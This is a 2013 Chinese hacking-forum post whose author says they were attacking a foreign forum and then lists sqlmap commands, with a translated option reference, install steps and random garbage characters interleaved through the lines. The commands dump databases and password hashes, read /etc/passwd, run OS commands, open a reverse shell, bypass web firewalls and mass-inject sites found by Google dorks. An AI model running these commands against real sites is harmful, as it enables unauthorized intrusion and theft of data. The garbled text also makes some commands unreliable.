找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2610|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
. |3 l( d  L' B2 ]! P1 Xsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称; f) m; B# w$ F; U6 R
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
8 }' J1 W5 {# Ksqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
0 M! E) y2 }, ?
6 V, r) u  ~2 J: g, T/ c( U3 qsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v& o1 g2 N. Y! b+ R' A  B
0 #获取字段内容
# a9 K3 O/ V" g$ c# E * [$ ~5 I7 _0 p& P4 h! c6 t. z
******************信息获取******************
) V# c- L7 u+ r+ Y2 Ysqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型! g3 e! }9 z* ~
sqlmap -u “http://url/news?id=1″ –users #列数据库用户9 y( Y# l8 f4 S- R. C: F( K6 j( |
sqlmap -u “http://url/news?id=1″ –dbs#列数据库2 G# }/ j8 p8 J" [  p: j. Q8 D
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
0 t( [" O% E2 _5 j: z( Q, nsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码  e- ~! D- v& U2 J% [8 s) |. L5 d6 w
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
/ I0 o8 m4 d1 m! b1 t–start 1 –stop 20 #列出指定字段,列出20 条
' p& j- O& i# C. A* `1 Wsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
9 R/ z6 k3 H- o$ P2 Ksqlmap -u “http://url/news?id=1″ –privileges #查看权限, T2 Z$ r: N8 z6 f' Q& ~
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
9 [8 ~( r+ P6 b5 e0 G  N5 Lsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
* t/ K/ o. O) g1 f3 x2 y- ssqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
, g0 X) @  F3 X# k+ [7 Usqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
6 L+ j  N( m1 W! U9 \! N2 dsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
, @" T) ^: L) Q6 |sqlmap -u “http://url/news?id=1″-b #获取banner信息, [) G6 B7 U2 e% E7 T, p! {
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入0 e0 E* `2 m  B4 B4 S% D% Y  t- s+ |
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
6 r( X( |# V8 X: s* ssqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入$ i+ y/ i6 g" ~
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词' ]8 [! _! r+ D$ ?' z' r1 q/ @
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令& A8 }' ]4 G( N3 M
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
6 _2 w1 W0 K3 W$ t+ W+ ysqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令1 ?% A% Z9 F6 Q9 t1 l
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell4 u- C6 C# Y2 y1 W- }; C& O) E
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表2 A- U1 `0 |; h7 H- U  }9 J2 H
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度( i; |0 M$ l* h7 I% u5 ?
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
4 E$ S  t0 g: l2 E" o+ P***********高级用法*************, D$ `0 b2 j9 _# L& Q! j, ]
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
8 F$ v2 }# J, |4 [9 D* ?; t) J; \* xsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
+ }5 W% z0 u, r: P' I" a3 g# r7 I–technique   测试指定注入类型\使用的技术) ], e$ Q2 ~0 G# }5 B4 i
不加参数默认测试所有注入技术
5 N8 C0 y5 q7 ^# |) L•     B: 基于布尔的SQL 盲注- q. |4 k2 `+ R
•     E: 基于显错sql 注入
8 W* B- B8 B7 c# }•     U: 基于UNION 注入/ b8 h+ Q$ x% L1 Y6 c( k" O
•     S: 叠层sql 注入
/ R* G/ l4 C6 t& l•     T: 基于时间盲注
( ]4 \! {, C5 i- m" |–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()2 o. _: O9 T" M2 a4 K. a$ S
–tamper 插件所在目录
3 S, u# ^/ W% X' H! D& O: X" H6 q\sqlmap-dev\tamper
6 x4 T& R0 `; h  I! P, osqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
% W. g! \" K5 [% C1 klevel 执行测试等级 攻击实例:+ ^& U' Q; u; j4 n
Sqlmap -u “http://url/news?id=1&Submit=Submit”7 R9 O. {4 m- q& S1 r
–cookie=”PHPSESSID=41aa833e6d0d, E- n& q& R7 V, u1 r
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user- Y* ~) W( R3 [2 `4 E" P& ^
–password
' N/ n* n% [3 `- c/ r参考文档:http://sqlmap.sourceforge.net/doc/README.html
, v. |4 n/ p7 N4 l***********安装最新版本*************: i5 c* z! i/ K& r1 w, F
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
' Y& V* k! `; z5 dsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
' Z+ J/ v2 r1 Q; G2 X: z安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
- j! o! n% B1 f" d# h' ~4 Ysudo vim /home/当前用户/.bashrc
  }* L6 c' L9 c3 j( S/ d#任意位置加上:+ p+ k$ p$ Z  S5 [
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效8 q8 ?7 ^6 U2 o8 ^3 X: O/ Y& S
如果想对所有用户有效 可设置全局 编辑下面的文件
+ e1 r# o7 o! s- q: zvim /etc/profile
- f, E$ o  i3 T* m; R; Q同样加上:
, f. ?; E. h+ \8 B7 nalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
0 X+ V% k6 B+ Q, K******************windows 7 (x64) sqlmap install (SVN)************
* Z1 z7 W2 b' y! I1 Nhttp://www.python.org/getit/ 安装python
0 k) Y* J: s$ c' j; dhttp://www.sliksvn.com/en/download 安装windows svn client
( ?2 ^4 p9 G: f( K+ j  e/ V  qsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& H& [% r+ I! K安装sqlmap( J9 c0 X+ k5 \7 e
*修改环境变量
8 [1 T5 V  M. H–version             显示程序的版本号并退出
; X* y# u. k4 X9 v7 x# b- E& j-h, –help            显示此帮助消息并退出
4 K% c$ G& m0 q7 P8 P  m4 L-v VERBOSE            详细级别:0-6(默认为1)
$ V( v+ t( C" r$ `5 G! W- a: l" d- C& uTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。0 B2 I* k/ Z7 U8 k0 H  W: r" ~
-d DIRECT           直接连接到数据库。
; o. Q  i+ ]3 w+ A7 _" ?( V4 \-u URL, –url=URL   目标URL。. \5 m: a$ @2 A
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。3 [  y5 Q! {6 v& a3 H- `3 D
-r REQUESTFILE      从一个文件中载入HTTP 请求。' }! [: q4 y. q& a& ^# |
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
5 i! O* ~1 I! G0 C& K( ]/ O-c CONFIGFILE       从INI 配置文件中加载选项。
  T+ M2 m6 a; J' [! W2 h! GRequest(请求)::* ~7 C( A3 ?/ `. j
这些选项可以用来指定如何连接到目标URL。4 c8 {5 h0 R1 b6 u
–data=DATA         通过POST 发送的数据字符串2 r; P% j: s9 G6 L2 n5 V1 x
–cookie=COOKIE     HTTP Cookie 头9 j" l' [# V! ^/ Z9 i# z3 P
–cookie-urlencode  URL 编码生成的cookie 注入$ S% v& I0 V3 v; {9 D
–drop-set-cookie   忽略响应的Set –Cookie 头信息
6 p6 `6 o( c" X5 E% d, i+ {
' w6 [$ `) a+ R4 r; j–user-agent=AGENT  指定  HTTP User –Agent 头  _% }& G% ]2 r+ x4 e
–random-agent      使用随机选定的HTTP User –Agent 头
$ Y% S4 Q; X3 K9 P–referer=REFERER   指定  HTTP Referer 头' \) U4 s. L; h
–headers=HEADERS   换行分开,加入其他的HTTP 头, _4 `; `% \3 K) ~
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
# G/ T8 W$ D# B–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
- c0 _. s2 _; q6 Q4 j–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
& ^' s, i3 J" Q, F! i( _7 Y5 X–proxy=PROXY       使用HTTP 代理连接到目标URL2 q) Y' N! S9 @" A% \+ @) V, ]
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)$ _) k! [1 {" Z6 @
–ignore-proxy      忽略系统默认的HTTP 代理
* t% t+ `' t# s0 y& m" E/ i6 O–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
* N* Q( T+ B7 ]! t4 z  g–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
; H& T9 Z: N  d–retries=RETRIES   连接超时后重新连接的时间(默认3)
/ D, m5 h7 @4 m. Q–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式9 a+ _: [# @) S8 C+ t/ V
–safe-url=SAFURL   在测试过程中经常访问的url 地址) X  h* l! [7 ^4 C1 u
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL1 f' q0 h2 M4 v
Optimization(优化): 这些选项可用于优化SqlMap 的性能。2 V3 `* i4 I" r$ o2 T" m
-o                  开启所有优化开关9 A1 A7 K! P$ b5 `& n% y) d' Y
–predict-output    预测常见的查询输出
3 O+ e& M' R3 X; O: D5 y2 J–keep-alive        使用持久的HTTP(S)连接
( t9 w' X- x1 Q: q3 X3 t% ]4 z–null-connection   从没有实际的HTTP 响应体中检索页面长度( q  W1 [+ S: K
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)/ C  N- y2 Z6 c  |$ ^+ K1 \8 [0 n
Injection(注入):9 h' b' I: }2 O2 l* ]
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。' ?% K0 W% ?/ u$ S0 f( l
-p TESTPARAMETER    可测试的参数(S)7 H# m6 ^' d0 v; t4 G
–dbms=DBMS         强制后端的DBMS 为此值6 T2 V0 X. v) z4 C' E) k
–os=OS             强制后端的DBMS 操作系统为这个值- }/ d7 b+ `7 _: N
–prefix=PREFIX     注入payload 字符串前缀' o" k5 _4 P2 x5 `; u
–suffix=SUFFIX     注入 payload 字符串后缀8 d( f, J; \0 N$ }% a* n
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
' ?  }7 p' [7 C' V7 QDetection(检测):
9 v* \5 F1 Q- ~; g' |& _这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
0 K; @1 j0 _% C% [- j3 y–level=LEVEL       执行测试的等级(1-5,默认为1)
5 B7 i% @8 t- `) C0 I–risk=RISK         执行测试的风险(0-3,默认为1)
& d* k' x8 e' {9 }/ d% Q; ]% G–string=STRING     查询时有效时在页面匹配字符串
' U  |. I3 e& }! k8 }$ j9 ]–regexp=REGEXP     查询时有效时在页面匹配正则表达式; r! k+ p) B8 G2 q$ `, e; P8 H
–text-only         仅基于在文本内容比较网页
, C4 m; L  R& A1 g4 XTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。5 W+ n) b8 C3 I8 p; G
–technique=TECH    SQL 注入技术测试(默认BEUST), L" q: \! p/ ~1 G
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
4 ?5 E, j* H  H& R7 b–union-cols=UCOLS  定列范围用于测试UNION 查询注入
7 Q) W9 S/ w6 w7 u–union-char=UCHAR  用于暴力猜解列数的字符
! ^( U/ M4 O8 q) {0 XFingerprint(指纹):. z: e" F  t1 P2 S6 W  e% I
-f, –fingerprint     执行检查广泛的DBMS 版本指纹( R9 q; o' s& }2 _
Enumeration(枚举):
- z+ M) u' s1 @; r
- t" N6 S$ Q  x9 M' P这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。+ B( s% l; e. w4 s; M
-b, –banner        检索数据库管理系统的标识0 D" I$ Y9 H. z0 T. z& W
–current-user      检索数据库管理系统当前用户
7 b: p& c+ [! p4 @  p* [–current-db        检索数据库管理系统当前数据库
& t1 @' }- {0 i0 T& _- P–is-dba            检测DBMS 当前用户是否DBA
/ {/ M2 ^% h; ?; a0 h0 ~–users             枚举数据库管理系统用户$ N5 H  y: e4 H
–passwords         枚举数据库管理系统用户密码哈希
( N1 T$ J! C* S; G  Y–privileges        枚举数据库管理系统用户的权限
$ E$ s! _& @, j# |! S% d–roles             枚举数据库管理系统用户的角色+ q2 m( ]+ V0 d* [& s" |
–dbs               枚举数据库管理系统数据库3 A+ v- ?  G* P$ A; z  M/ M& ?/ ^4 T3 {. J
–tables            枚举的DBMS 数据库中的表
. y3 P9 r( t7 F8 k% B; i–columns           枚举DBMS 数据库表列9 V/ O( R+ g  L" l7 a2 W% Z
–dump              转储数据库管理系统的数据库中的表项6 H5 J) W/ r6 d, A' q- J8 S
–dump-all          转储所有的DBMS 数据库表中的条目0 m$ S- G% z* x& H" c
–search            搜索列(S),表(S)和/或数据库名称(S)& f5 V" w* f/ c  T; q
-D DB               要进行枚举的数据库名
7 F# F0 e$ W5 x5 L-T TBL              要进行枚举的数据库表  T' I* p0 \% z
-C COL              要进行枚举的数据库列
; `, g2 W- e  ~5 A0 A-U USER             用来进行枚举的数据库用户+ Z; ]5 u; R0 U5 k5 O0 J
–exclude-sysdbs    枚举表时排除系统数据库
8 k, F( u/ E' S–start=LIMITSTART  第一个查询输出进入检索$ `" k% O* H. u( R$ y$ S
–stop=LIMITSTOP    最后查询的输出进入检索+ g' I% A8 C+ E  m: ~/ i5 K
–first=FIRSTCHAR   第一个查询输出字的字符检索
: y% m: s# j. Q, j–last=LASTCHAR     最后查询的输出字字符检索) ]5 i# ~: l" v9 O
–sql-query=QUERY   要执行的SQL 语句, {  n+ [3 Q' D
–sql-shell         提示交互式SQL 的shell$ y3 l& y! a& j) z5 F+ ?+ p! w5 B, s/ v
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
7 o* D% E, `# f; Q' m3 h–common-tables     检查存在共同表. J2 F2 E2 |) @  M( j: H3 m! c0 n4 I0 X
–common-columns    检查存在共同列
8 E1 h- ?0 Z4 O2 J1 ]: ?( _User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
7 i7 D" g6 C6 f" T: T( ~–udf-inject        注入用户自定义函数
4 `% F# _) u( H/ `3 l–shared-lib=SHLIB  共享库的本地路径
* W7 J$ @' r9 [' g" A" GFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。/ }/ l6 M* c3 L8 G7 g4 H% G
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件+ Q/ P" `) K  U" G2 x3 N& x
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件1 M- N2 ~$ J) N( S
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径1 K: b3 t" u, D7 F, X
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。, K3 S1 U; h( s
–os-cmd=OSCMD      执行操作系统命令
* N/ S) q  I0 p–os-shell          交互式的操作系统的shell
; h1 Y0 U; {3 f–os-pwn            获取一个OOB shell,meterpreter 或VNC$ `' ~, j' l' N# v) R: G
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
- ]8 q8 Y* ^, U. o! X* ^–os-bof            存储过程缓冲区溢出利用: y( t, N/ `, R7 a
–priv-esc          数据库进程用户权限提升$ U% a5 r" ^7 V
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
8 K/ d1 A, ?- G  k/ P2 r  F* Z" A0 x–tmp-path=TMPPATH  远程临时文件目录的绝对路径
- X8 U" z; g8 ~; e6 f! Z7 q * X: o, h' d/ r! a3 O
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。3 W: E0 \: W" d/ N
–reg-read          读一个Windows 注册表项值( ~* Z' [0 A4 h: s, D# D
–reg-add           写一个Windows 注册表项值数据
5 h( i, ?1 p$ @5 m3 }–reg-del           删除Windows 注册表键值
  M( l4 Y2 M* P$ C9 P–reg-key=REGKEY    Windows 注册表键
' @: l2 _; x6 v) c* Z–reg-value=REGVAL  Windows 注册表项值
2 x8 `& `3 u) e2 h$ [–reg-data=REGDATA  Windows 注册表键值数据' p: w+ a; Y8 U1 o* c8 g
–reg-type=REGTYPE  Windows 注册表项值类型
' r: R2 a8 `* _9 R1 B; x+ xGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
4 k5 `7 h" O% t  r-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
7 }* j+ N2 c- o0 B, t: J: }! I-s SESSIONFILE      保存和恢复检索会话文件的所有数据
0 m7 G/ [8 q1 Q8 [! X4 j% ]! p–flush-session     刷新当前目标的会话文件
& z" e/ z  U" U6 G: s+ d6 r* p, }–fresh-queries     忽略在会话文件中存储的查询结果1 d8 U' _7 t* d; C7 t& B/ C# B9 C
–eta               显示每个输出的预计到达时间
6 b. c7 C) v4 j( G3 `- B( M–update            更新SqlMap
! p( x$ {3 W, D# A–save              file 保存选项到INI 配置文件
$ g3 ]  w# I: K$ v" A+ I: j) P# A4 y–batch             从不询问用户输入,使用所有默认配置。$ Z2 a& X% A5 T) @7 O0 j
Miscellaneous(杂项):
) n; Y* F/ p/ m! O–beep              发现SQL 注入时提醒3 M8 H! t: k) a
–check-payload     IDS 对注入payloads 的检测测试
2 w  X  r# R' M8 c8 ^* |2 K" f–cleanup           SqlMap 具体的UDF 和表清理DBMS% ~" L8 E2 Q' O9 G1 t" Z
–forms             对目标URL 的解析和测试形式
# r) F: v$ h) z* e* \8 _2 E–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果% _& z# c4 o  F" x
–page-rank         Google dork 结果显示网页排名(PR)
* F# G; }9 j/ q8 ]. `–parse-errors      从响应页面解析数据库管理系统的错误消息
0 C; U% E, d* W–replicate         复制转储的数据到一个sqlite3 数据库
4 S+ X/ w2 y1 ?* U–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
/ ~1 r6 n0 w6 j& z–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表